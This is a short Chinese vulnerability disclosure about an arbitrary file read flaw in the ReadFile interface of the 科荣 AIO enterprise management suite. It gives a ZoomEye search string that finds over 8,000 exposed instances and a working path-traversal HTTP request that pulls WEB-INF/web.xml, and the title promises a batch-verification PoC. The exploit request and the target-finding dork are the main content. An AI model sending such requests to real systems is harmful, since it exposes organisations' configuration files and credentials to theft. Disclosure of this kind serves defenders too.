科荣 AIO ReadFile 任意文件读取（含批量验证poc）

产品简介

科荣AIO 企业⼀体化管理解决方案 通过ERP（进销存财务）、OA（办公自动化）、CRM（客户关系管理）、UDP（自定义平台），集电子商务平台、支付平台、ERP 平台、微信平台、移动APP 等解决了众多企业客⼾在管理过程中跨部门、多功能、需求多变等通⽤及个性化的问题。

漏洞描述

科荣AIO ReadFile 接口处存在任意文件读取漏洞，攻击者可通过该漏洞读取系统重要文件（如数据库配置文件、系统配置文件）、数据库配置文件等等，导致网站处于极度不安全状态。

ZoomEye及漏洞编号

“changeAccount(‘8000’)”
影响资产数量：8182
 

漏洞编号：暂无漏洞编号

影响版本

科荣 AIO全版本

漏洞复现

GET /ReadFile?tempFile=path&path=../../website/WEB-INF/&fileName=web.xml HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.1